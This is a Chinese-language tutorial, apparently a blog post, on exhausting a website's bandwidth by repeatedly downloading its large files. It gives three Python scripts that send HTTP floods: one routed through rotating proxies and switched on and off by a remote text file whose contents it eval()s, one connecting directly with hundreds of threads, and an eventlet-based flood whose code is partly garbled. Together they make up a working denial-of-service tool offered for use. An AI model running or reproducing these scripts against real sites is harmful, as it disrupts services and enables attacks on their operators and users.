方法原理如下:
1.找到目标网站大文件(页面)地址
2.多线程访问(下载)该地址
(注意:由于完全是出于模拟真实用户,所以不会被防火墙屏蔽掉)
(以下以hao123为例子而已)
一: 其中以上思路中的第一点 可以通过google浏览器的审计功能实现
如图,我可以得到几个大文件地址。
二:
找到地址以后,可以通过脚本程序实现多线程访问,不停消耗其网页浏览。
以下是我的机器运行程序后的截图(2 M adsl 仅10个线程,可以再加线程),我的接收也就是目标网站的消耗流量了(才几秒钟而已)。
可见效率还是不错的。
好了,脚本代码如下:
(注意,代理服务器需要放入proxy.txt文件中
格式为:
ip:port
一行一个)
import socket,random,threading,time,os,sys
import urllib.request as ur
socket.setdefaulttimeout(5)
os.chdir(sys.path[0])
domain='www.net'
tno=500
proxylist=[]
a=open(r'proxy.txt').read().strip().split()
for i in a:
proxylist.append(i.split(':'))
target=['','index.asp','img/css.css','img/x.gif','img/x.jpg','img/x.jpg']
target=['','index.asp']
data='''GET http://%s/%s HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.46 Safari/535.11
Accept: */*
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Referer: http://%s/
'''
no=1
plock=threading.Lock()
ok=False
def geturl():
global no
while True:
time.sleep(1)
while ok:
proxydet=random.choice(proxylist)
proxy=proxydet[0]
port=proxydet[1]
url=random.choice(target)
da=data % (domain,url,domain,domain)
try:
if not plock.locked():plock.acquire()
s=socket.socket()
s.connect((proxy,int(port)))
s.send(da.encode())
dd=s.recv(4024)
print(' ok ',no)
no=no+1
except Exception as err:
pass
finally:
s.close()
if plock.locked():plock.release()
def a():
global ok
url=r'http://www.xxx.com/xxx.txt'
try:
data=ur.urlopen(url).read().decode()
data=data.strip().split()
for i in data:
dom,yes=i.split(':')
if domain==dom:
ok=eval(yes)
except:
ok=False
for i in range(tno):
threading.Thread(target=geturl).start()
while True:
time.sleep(5)
a()
非代理版:
import os,socket,time,threading
data='''GET / HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.79 Safari/535.11
Accept: */*
'''
domain='www.xxxx.net'
tno=400
mylock=threading.Lock()
def geturl():
global data
da=(data % domain).encode()
while True:
try:
if not mylock.locked():mylock.acquire()
s=socket.socket()
s.connect((domain,80))
s.send((data % domain).encode())
s.recv(2040)
print('ok')
except Exception as err:print('err:',err) ;pass
finally:
s.close()
if mylock.locked():mylock.release()
for i in range(tno):
threading.Thread(target=geturl).start()
import eventlet,time
from eventlet.green import socket
data=''qq HTTP/1.1
Host: qq
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Referer: http://hb.qq.com/news/reganmain/index.htm
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: RK=NcDPkbje2o
'''
def send1():
s=socket.socket()
s.connect(('qqm',80))
s.send(data)
s.close()
send1()
pool=eventlet.GreenPool(512)
while True:pool.spawn_n(send1)